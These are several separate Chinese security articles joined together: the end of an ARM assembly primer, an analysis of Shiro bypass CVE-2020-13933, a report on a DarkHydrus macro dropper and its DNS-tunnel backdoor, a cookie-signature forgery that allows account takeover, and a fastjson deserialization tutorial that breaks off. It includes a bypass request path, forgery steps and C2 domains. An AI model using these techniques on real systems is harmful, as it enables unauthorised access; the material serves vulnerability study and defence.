让我们来看看汇编语言的底层本质。在最底层，只有电路的电信号。信号被格式化成可以变化的高低电平0V(off)或者5V(on)。但是通过电压变化来表述电路状态是繁琐的，所以用0和1来代替高低电平，也就有了二进制格式。由二进制序列组成的组合便是最小的计算机处理器工作单元了，比如下面的这句机器码序列就是例子。
1110 0001 1010 0000 0010 0000 0000 0001
看上去不错，但是我们还是不能记住这些组合的含义。所以，我们需要用助记符和缩写来帮助我们记住这些二进制组合。这些助记符一般是连续的三个字母，我们可以用这些助记符作为指令来编写程序。这种程序就叫做汇编语言程序。用以代表一种计算机的机器码的助记符集合就叫做这种计算机汇编语言。因此，汇编语言是人们用来编写程序的最底层语言。同时指令的操作符也有对应的助记符，比如：
MOV R2, R1
现在我们知道了汇编程序是助记符的文本信息集合，我们需要将其转换成机器码。就像之前的，在[[GNU
Binutils]](https://www.gnu.org/software/binutils/)工程中提供了叫做 **as**
的工具。使用汇编工具去将汇编语言转换成机器码的过程叫做汇编(assembling)。
总结一下，在这篇中我们学习了计算机是通过由0101代表高低电平的机器码序列来进行运算的。我们可以使用机器码去让计算机做我们想让它做的事情。不过因为我们不能记住机器码，我们使用了缩写助记符来代表有相关功能的机器码，这些助记符的集合就是汇编语言。最后我们使用汇编器将汇编语言转换成机器可以理解的机器码。当然，在更高级别的语言编译生成机器码过程中，核心原理也是这个。
**拓展阅读**
1\. [Whirlwind Tour of ARM
Assembly.](<https://www.coranac.com/tonc/text/asm.htm>)
2\. [ARM assembler in Raspberry Pi.](<http://thinkingeek.com/arm-assembler-raspberry-pi/>)
3\. Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing
Tools, and Obfuscation by Bruce Dang, Alexandre Gazet, Elias Bachaalany and
Sebastien Josse.
4\. [ARM Reference
Manual.](<http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/index.html>)
5\. [Assembler User
Guide.](<http://www.keil.com/support/man/docs/armasm/default.htm>) | 社区文章 |
# shiro < 1.6.0的认证绕过漏洞分析(CVE-2020-13933)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 什么是shiro
Apache
Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
## 0x01 环境搭建
* springboot
* shiro1.5.3
1、去`https://start.spring.io/`使用springboot脚手架搭建一个java8的springboot项目
2、用IDEA打开该项目，目录结构与文件如下：
3、创建`MyRealm`、`NameController`、`ShiroConfig`三个class文件。
4、pom.xml增加对应的`dependency`
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.3.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>demo</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<fork>true</fork>
</configuration>
</plugin>
</plugins>
</build>
</project>
ShiroConfig.java代码如下：
package com.example.demo;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm(){
return new MyRealm();
}
@Bean
SecurityManager securityManager(){
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedUrl");
Map<String,String> map= new LinkedHashMap<>();
map.put("/doLogin/","anon");
map.put("/test/*","authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
NameController代码如下：
package com.example.demo;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class NameController {
@GetMapping("/test/{name}")
public String test(@PathVariable String name){
return "s1111";
}
@GetMapping("/test/")
public String test2(){
return "test2";
}
}
MyRealm代码如下:
package com.example.demo;
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MyRealm extends AuthorizingRealm {
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null;
}
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
return null;
}
}
## 0x02 poc测试
原本需要认证的test/{name}可以访问到了
证明漏洞利用成功。
## 0x03 漏洞原理分析
根据shiro历史上的认证绕过漏洞，本质问题就是springboot对url的处理和shiro的处理不一致导致的认证绕过。
其中shiro的url处理的问题都出在`org/apache/shiro/web/util/WebUtils.java`类下面，在return
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
断点，
然后我们去springboot的处理url的地方进行断点，`org/springframework/web/util/UrlPathHelper.java`。
在return uri；进行
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}
断点。
访问/test/%3bname，先来到shiro的url处理块，
根据图纸可知，获取到的url在处理前已经进行了一次urldecode。然后在进入`removeSemicolon`操作，最后结果集在交给`normalize`操作。
根据计算器可知removeSemicolon会把url里;后面的内容给删除(包括;)
跟进removeSemicolon看看。
实现代码如下:
private static String removeSemicolon(String uri) {
int semicolonIndex = uri.indexOf(';');
return (semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri);
}
确实是把;后面的内容给删除(包括;)了。
一路F8，最后果然把/test/赋值给requestURI变量了。
根据测试当初访问/test/
可以看到，如果test目录的话，是默认有权限访问的，但是/test/后面的路由是需要验证的。
接着我们来到springboot，看看springboot是怎么处理URL的问题。
uri取到的是`/test/;name`，可以看到springboot对url做了三个操作后才返回的，`removeSemicolonContent`,`decodeRequestString`,`getSanitizedPath`。
* removeSemicolonContent 是把（url未解码前的uri里的;后面的内容给删除）
* decodeRequestString把uri进行urldecode编码
* getSanitizedPath 是把”//“ 替换成 “/“
这是简单对比下shiro的对url的操作顺序:
* uri 进行urldecode
* uri 删除;后面的内容，包括;
因为shiro的处理和springboot的处理顺序不同，导致我们构造的poc在shiro侧理解的是访问的/test/，/test/我们本身就没有限制权限，放过了这个原本需要认证权限的请求，而springboot侧则是访问的是/test/;name，然后springboot把;name当做一个字符串去寻找对应的路由，返回了对应的字符串。
## 0x04 总结
此漏洞主要是两个组件之间对某个关键信息处理的逻辑未进行统一约定，可以理解成前后端对同一个信息处理的不同步导致的安全漏洞。
同样的认证绕过在shiro历史上出现过好几次，具体可以去参考链接学习。
## 0x05 参考
* <https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/> | 社区文章 |
**作者：360威胁情报中心
公众号：[360威胁情报中心](https://mp.weixin.qq.com/s/OOjDvnTm7oH0FCbaHKGgLA
"360威胁情报中心")**
## 背景
2019年1月9日，360威胁情报中心捕获到多个专门为阿拉伯语使用者设计的诱饵文档。钓鱼文档为携带恶意宏的Office
Excel文档，恶意宏代码最终会释放执行一个C#编写的后门程序，该后门程序利用了复杂的DNS隧道技术与C2进行通信并执行指令，且通过GoogleDrive
API实现文件的上传下载。
360威胁情报中心经过溯源和关联后确认，这是DarkHydrus APT组织针对中东地区的又一次定向攻击行动。DarkHydrus APT组织是Palo
Alto在2018年7月首次公开披露的针对中东地区政府机构进行定向攻击的APT团伙[1]。而在此之前，360威胁情报中心曾发现并公开过该组织使用SettingContent-ms文件任意代码执行漏洞（CVE-2018-8414）进行在野攻击的样本，并进行了详细分析[2]。
## 时间线
与DarkHydrus APT组织相关的时间线如下：
根据社交网络的反馈，对此团伙卡巴斯基内部的跟踪代号为:LazyMeerka。[4]
## 样本分析
### Dropper（Macros）
以下分析均以MD5：5c3f96ade0ea67eef9d25161c64e6f3e的样本为例，诱饵文档是一个Office
Excel文档，名为???????.xlsm（指标.xlsm）。其内嵌VBA宏，当受害者打开文档并启用宏后，将自动执行恶意宏代码。
该恶意宏代码的功能为释放WINDOWSTEMP.ps1和12-B-366.txt文件到%TEMP%目录，最后使用regsvr32.exe启动12-B-366.txt文件：
实际上12-B-366.txt是一个HTA（HTML应用程序）文件，该文件用于启动释放出来的PowerShell脚本：%TEMP%\
WINDOWSTEMP.ps1
WINDOWSTEMP.ps1脚本内容如下，该PowerShell脚本使用Base64和gzip解码和解压缩脚本里的content，然后写入到文件：%TEMP%\OfficeUpdateService.exe，最后运行%TEMP%\OfficeUpdateService.exe：
### Backdoor（OfficeUpdateService.exe）
释放执行的后门程序使用C#编写：
样本PDB路径信息和其使用的通信技术有很强的关联性，指示其使用了DNS相关的技术：
C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
后门程序运行后会先检查参数是否包含“st:off”和“pd:off”，如果包含“st:off”则不会写启动项，如果包含“pd:off”则不会释放PDF文件。随后检测是否运行在虚拟机、沙箱中，或者是否被调试等，通过这些检查后最终执行恶意代码：
写入启动项的持久化操作：
释放诱饵PDF文件：
执行虚拟机、沙箱检测以及反调试等操作：
紧接着获取主机信息：
然后通过DNS隧道发送搜集到的主机信息，其中DNS隧道通信部分封装到queryTypesTest函数中：
最后进入命令分发循环, 该命令分发流程首先判断是否是x_mode模式，如果不是，则通过DNS隧道技术与C2通信获取需要执行的指令，否则通过HTTP传输数据：
与C2通过DNS隧道建立通信，并解析返回的数据，然后提取指令，最后通过taskHandler函数分发指令：
以下是部分指令截图：
值得注意的是，^\$x_mode指令将设置文件上传下载的服务器，服务器地址通过DNS隧道获取：
其中一个样本指定了服务器为Google Drive服务器：
https://www.googleapis.com/upload/drive/v3/files/" + file_id +
"?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents
所有命令列表如下：
### DNS隧道通信分析
DNS隧道通信技术是指通过DNS查询过程来建立通信隧道。该通信方式有极强的隐蔽性，容易穿透各种流量网关的检测。
实现DNS隧道通信技术主要有两种方法：
1. 指定DNS服务器实现DNS隧道通信
2. 通过域名提供商提供的接口修改NS记录，将解析域名的DNS服务器指定为攻击者的DNS服务器，接管域名的DNS解析请求
本文所描述的后门程序OfficeUpdateService.exe使用的则是第二种方式实现DNS隧道通信，其主要原理为修改木马程序需要解析的域名的NS记录，由于DNS解析过程会首先尝试向NS记录指定的DNS服务器请求解析域名，所以NS记录指定的DNS服务器能收到DNS查询请求以及附带的数据。如果域名对应的NS记录中的DNS服务器是由攻击者控制的，那么攻击者就可以通过该DNS服务器与木马程序通过DNS查询建立起特殊的通信渠道。
木马程序请求的域名列表如下：
#### 设置NS记录
NS（Name Server）记录是域名服务器记录，用来指定该域名由哪个DNS服务器来进行解析。
攻击者首先将相关域名的NS记录修改为了攻击者控制的DNS服务器，攻击者指定用于解析相关域名的NS服务器为：tvs1.trafficmanager.live
, tvs2.trafficmanager.live，我们通过nslookup可以查询得到：
样本再通过本机的nslookup程序向相关域名提交请求，而由于这些域名的NS记录被指定为了攻击者的DNS服务器（tvs1.trafficmanager.live），故nslookup提交的查询信息会被发送给攻击者的DNS服务器，然后读取DNS服务器返回的信息进行数据交互。所以样本其实是在和攻击者控制的DNS服务器进行最终的通信。
样本使用nslookup解析域名并附带以下参数：timeout（请求超时时间）、q（DNS请求类型）：
#### 发送上线请求并获取执行指令
木马会根据不同的查询类型，使用不同的正则表达式去匹配DNS服务器返回的结果数据：
比如执行nslookup并使用查询类型为A进行查询，最终使用以下正则表达式匹配返回的数据结果：
而样本首先会通过向攻击者控制的DNS服务器发送DNS查询请求来发送当前木马的上线ID给攻击者：首先获取当前的进程ID，并与请求查询的域名组成一个二级域名，依次使用nslookup指定DNS的查询类型发送DNS查询信息：
接着根据当前DNS请求的类型分别用不同的正则表达式规则匹配其返回的数据结果，并取取其中的数据：
**我们手动模拟使用TXT查询请求并上传木马ID的过程如下：**
首先我们构造一个二级域名：ajpinc.akamaiedge.live，二级域名ajpinc中的a代表第一次请求，末尾的c代表结尾，a和c之间是编码过后的当前进程ID。然后我们使用nslookup发送该请求，执行的效果如下：
而木马程序会使用以下正则表达式来匹配返回的数据结果：(\w+).(akdns.live|akamaiedge.live|edgekey.live|akamaized.live)
该正则表达式会匹配上述结果中的ajpinc和ihn字符串，然后将ihn通过指定的解码函数解码得到“107”，解码函数如下：
最后获取当前的配置信息，再通过DNS协议传输给攻击者控制的DNS服务器，并持续发送DNS请求，最终分别使用不同的正则表达式来匹配返回的结果，获取下一步需要执行的指令。
#### 数据匹配规则
样本主要使用的DNS查询类型如下：
木马会根据不同的查询类型，使用不同的正则表达式去匹配攻击者的DNS服务器返回的结果数据：
比如执行nslookup并使用查询类型AC得到返回的数据，并使用以下正则表达式匹配返回的数据结果：
使用查询类型为AAAA得到的数据使用以下正则表达式匹配返回的数据结果：
使用其他DNS查询类型得到的数据使用以下正则表达式匹配返回的数据结果：
样本所使用的DNS查询类型及返回数据对应匹配的正则表达式如下：
如果当返回的DNS请求结果中被"216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com"正则表达式命中，则代表请求被取消，则不会执行后续的操作：
## 溯源与关联
360威胁情报中心通过对样本详细分析后发现，此次攻击的幕后团伙疑似为DarkHydrus APT组织，部分关联依据如下。
### 样本使用DNS隧道进行通信
与之前Palo Alto披露[2]的木马类似的，都使用了相同的DNS隧道通信技术：
### 高度一致的沙箱检测代码和后门功能代码
几乎完全一致的虚拟机、沙箱检测代码：
恶意代码相似度极高，木马功能也高度相似：
### 拓展
有趣的是，我们关联到某个Twitter用户@darkhydrus2的昵称为Steve
Williams，该用户名与DarkHydrus吻合，且昵称williams与此次C#编写的木马程序的PDB路径又有些关联：
## 总结
从近年来的高级攻击事件分析中可以看出，由于利用Office 0day等漏洞进行攻击的成本较高，多数攻击者更趋向于利用Office
VBA宏执行恶意代码。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行：
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
## 参考链接
[1]. <https://ti.360.net/blog/articles/analysis-of-settingcontent-ms-file/>
[2]. <https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/>
[3]. <https://ti.360.net/>
[4]. <https://twitter.com/craiu/status/1083305994652917760>
* * * | 社区文章 |
不知道有没有大佬发过，水一篇
# 漏洞分析
首先看到
application/common/controller/UserBase.php这个文件，UserBase类initialize()方法对UID的定义
跟进is_login()方法，在application/common.php文件中
默认参数$type='user'，此时从cookie中获取$user和$user_sign变量的值，否则的话从session中获取这两个变量的值。如果$user变量不为空的话，就会进行$user_sign和data_auth_sign($user)的比较，相等的话就会返回$user['uid']
继续跟进data_auth_sign()方法
这里对传入的参数进行了数组转换、键名排序、url编码，然后直接通过sha1()加密生成了签名并返回，也就是说这里的签名我们是完全可以伪造的
梳理一下：
1. $user和$user_sign变量通过cookie传参完全可控
2. $user变量可控导致data_auth_sign()方法返回的$sign间接可控
3. 令$user_sign和$sign相等，is_login()返回$user['uid']作为UID的值
# 漏洞复现
首先在前台注册任意一个用户并登录，看到返回包set-cookie了两个值，分别对应上文的$user变量和$user_sign变量，此时的uid=1
直接把data_auth_sign()函数复制出来，传入我们自定义的数组 array("uid" => "2","username" =>
"test",)生成签名值（主要是uid的值，username的值无所谓，和cookie中传入的保持一致即可）
再次登录，拦截返回包，将lf_user_auth的uid参数改为2，user_auth_sign改为我们刚刚生成的签名值，即可实现对uid=2的用户的账户接管 | 社区文章 |
推荐阅读时间：60min
全文字数：14026
## 前言
其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。
就先一路补了很多其他知识点，RMI反序列化，JNDI注入，7u21链等（就是之前的文章），之后也是拖了很长时间，花了很长时间，总算把这篇一开始就想写的文，给补完了。
类似的文是已经有了不少，学习也是基于前辈们的文章一步步走来，但是个人习惯于把所有问题理清楚，讲清楚。理应是把大佬们的文要细致些。
本文需要前置知识：JNDI注入，7u21利用链，可以戳我往期的文章。
> 由于先知的waf拦截，全文 @type 替换为 被屏蔽的type
文章内容如下：
1. fastjson组件基础介绍及使用（三种反序列化形式等）
2. fastjson组件的 **被屏蔽的type标识** 的特性说明（默认调用setter、getter方法条件等）。
3. 分析了fastjson组件 **1.2.24版本** 中JNDI注入利用链与setter参数巧妙完美适配（前置知识参考JNDI注入一文）
4. 分析了fastjson组件 **1.2.24版本** 中JDK1.7TemplatesImpl利用链的漏洞触发点poc构造（前置知识参考7u21一文）
5. 分析了1.2.24-1.2.46版本每个版本迭代中修改代码，修复思路和绕过。（此时由于默认白名单的引入，漏洞危害大降）
6. 到了1.2.47通杀黑白名单漏洞，因为网上对于这个分析文有点过多。这边想着直接正向来没得意思。尝试从代码审计漏洞挖掘的角度去从零开始挖掘出这一条利用链。最后发现产生了一种我上我也行的错觉（当然实际上只是一种错觉，不可避免受到了已有payload的引导，但是经过分析也算是不会对大佬的0day产生一种畏惧心理，看完也是可以理解的）最后再看了下修复。
本文实验代码均上传[github](https://github.com/lalajun/Fastjson_Deserialize)，那么想要好好学习的小伙伴请打开idea，配合食用。
## fastjson组件
fastjson组件是阿里巴巴开发的反序列化与序列化组件，具体细节可以参考[github文档](https://github.com/alibaba/fastjson/wiki/Quick-Start-CN)
组件api使用方法也很简洁
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
我们通过demo来使用一下这个组件
以下使用测试均是基于1.2.24版本的fastjson jar包
靶机搭建需要存在漏洞的jar包，但是在github上通常会下架存在漏洞的jar包。
我们可以从[maven仓库](https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.24)中找到所有版本jar包,方便漏洞复现。
### fastjson组件使用
先构建需要序列化的User类：
`User.java`
package com.fastjson;
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
再使用fastjson组件
package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
//创建一个用于实验的user类
User user1 = new User();
user1.setName("lala");
user1.setAge(11);
//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);
//通过parse方法进行反序列化，返回的是一个JSONObject
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化："+obj1);
//通过parseObject,不指定类，返回的是一个JSONObject
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);
//通过parseObject,指定类后返回的是一个相应的类对象
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
}
}
以上使用了三种形式反序列化
结果如下：
//序列化
serializedStr={"age":11,"name":"lala"}
//parse({..})反序列化
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化：{"name":"lala","age":11}
//parseObject({..})反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
//parseObject({},class)反序列化
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552
parseObject({..})其实就是parse({..})的一个封装，对于parse的结果进行一次结果判定然后转化为JSONOBject类型。
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
而parseObject({},class)好像会调用class加载器进行类型转化，但这个细节不是关键，就不研究了
那么三种反序列化方式除了返回结果之外，还有啥区别？
在执行过程调用函数上有不同。
package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;
public class FastJsonTest {
public String name;
public String age;
public FastJsonTest() throws IOException {
}
public void setName(String test) {
System.out.println("name setter called");
this.name = test;
}
public String getName() {
System.out.println("name getter called");
return this.name;
}
public String getAge(){
System.out.println("age getter called");
return this.age;
}
public static void main(String[] args) {
Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj);
Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
System.out.println(obj2);
Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
System.out.println(obj3);
}
}
结果如下：
//JSON.parse("")
name setter called
com.fastjson.FastJsonTest@5a2e4553
//JSON.parseObject("")
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
//JSON.parseObject("",class)
name setter called
com.fastjson.FastJsonTest@e2144e4
结论：
* parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
* parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法（此处有的博客说是所有setter，个人测试返回String的setter是不行的，此处打个问号）
* parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
特定的setter和getter的调用都是在解析过程中的调用。（具体是哪些setter和getter会被调用，我们将在之后讲到）
之所以 **parseObject("")** 有区别就是因为 **parseObject("")** 比起其他方式多了一步 **toJSON**
操作，在这一步中会对所有getter进行调用。
### 被屏蔽的type
那么除开正常的序列化，反序列化。
fastjson提供特殊字符段`被屏蔽的type`，这个字段可以指定反序列化任意类，并且会自动调用类中属性的特定的set，get方法。
我们先来看一下这个字段的使用:
//@使用特定修饰符，写入被屏蔽的type序列化
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
//通过parse方法进行反序列化
Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);
//通过这种方式返回的是一个相应的类对象
Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);
//序列化
serializedStr1={"被屏蔽的type":"com.fastjson.User","age":11,"name":"lala"}
//parse反序列化
parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579
//parseObject反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
这边在调试的时候，可以看到，本该解析出来的被屏蔽的type都没有解析出来
以上我们可以知道当被屏蔽的type输入的时候会特殊解析（不然的话会有被屏蔽的type：com.fastjson.User的键值对），那么自动调用其特定的set，get方法怎么说呢？
我们先建立一个序列化实验用的Person类
`Person.java`
package com.fastjson;
import java.util.Properties;
public class Person {
//属性
public String name;
private String full_name;
private int age;
private Boolean sex;
private Properties prop;
//构造函数
public Person(){
System.out.println("Person构造函数");
}
//set
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}
//get 返回Boolean
public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
//get 返回ProPerties
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
//在输出时会自动调用的对象ToString函数
public String toString() {
String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}
被屏蔽的type反序列化实验：
package com.fastjson;
import com.alibaba.fastjson.JSON;
public class type {
public static void main(String[] args) {
String eneity3 = "{\"被屏蔽的type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
//反序列化
Object obj = JSON.parseObject(eneity3,Person.class);
//输出会调用obj对象的tooString函数
System.out.println(obj);
}
}
结果如下：
Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null
public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用
可以得知：
* public修饰符的属性会进行反序列化赋值，private修饰符的属性不会直接进行反序列化赋值，而是会调用setxxx(xxx为属性名)的函数进行赋值。
* getxxx(xxx为属性名)的函数会根据函数返回值的不同，而选择被调用或不被调用
决定这个set/get函数是否将被调用的代码最终在`com.alibaba.fastjson.util.JavaBeanInfo#build`函数处
在进入build函数后会遍历一遍传入class的所有方法，去寻找满足set开头的特定类型方法；再遍历一遍所有方法去寻找get开头的特定类型的方法
**set开头的方法要求如下：**
* 方法名长度大于4且以set开头，且第四个字母要是大写
* 非静态方法
* 返回类型为void或当前类
* 参数个数为1个
寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名（好像会过滤_，就是set_name这样的方法名中的下划线会被略过，得到name）。再去跟这个类的属性去比对有没有这个名称的属性。
如果没有这个属性并且这个set方法的输入是一个布尔型（是boolean类型，不是Boolean类型，这两个是不一样的），会重新给属性名前面加上 **is**
，再取头两个字符，第一个字符为大写（即isNa），去寻找这个属性名。
> 这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。
>
>
> 真实情况应该是确认存在符合setXxx方法后，会与这个方法绑定一个xxx属性，如果xxx属性不存在则会绑定isXx属性（这里is后第一个字符需要大写，才会被绑定）。并没有调用is开头的方法
>
>
> 自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的，这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性，再之后并没有发现对于调用过程有什么影响。
>
> 所以只要目标类中有满足条件的set方法，然后得到的方法变量名存在于序列化字符串中，这个set方法就可以被调用。
>
> 如果有老哥确定是否可以调用is方法，可以联系我，非常感谢。
**get开头的方法要求如下：**
* 方法名长度大于等于4
* 非静态方法
* 以get开头且第4个字母为大写
* 无传入参数
* 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合，而getprop方法被成功调用是因为Properties 继承
Hashtable，而Hashtable实现了Map接口，返回类型符合条件。
再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue，（在被调用的方法中下断点即可）
那么至此我们可以知道
* 被屏蔽的type可以指定反序列化成服务器上的任意类
* 然后服务端会解析这个类，提取出这个类中符合要求的setter方法与getter方法（如setxxx）
* 如果传入json字符串的键值中存在这个值（如xxx)，就会去调用执行对应的setter、getter方法（即setxxx方法、getxxx方法）
> 上面说到readObejct("")还会额外调用toJSON调用所有getter函数，可以不符合要求。
看上去应该是挺正常的使用逻辑，反序列化需要调用对应参数的setter、getter方法来恢复数据。
但是在可以调用任意类的情况下，如果setter、getter方法中存在可以利用的情况，就会导致任意命令执行。
对应反序列化攻击利用三要素来说，以上我们就是找到了readObject复写点，下面来探讨反序列化利用链。
我们先来看最开始的漏洞版本是<=1.2.24，在这个版本前是默认支持被屏蔽的type这个属性的。
## 【<=1.2.24】JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl
### 利用条件
JNDI注入利用链是通用性最强的利用方式，在以下三种反序列化中均可使用：
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
当然JDK版本有特殊需求，在JNDI注入一文中已说过，这里就不再说明
### 利用链
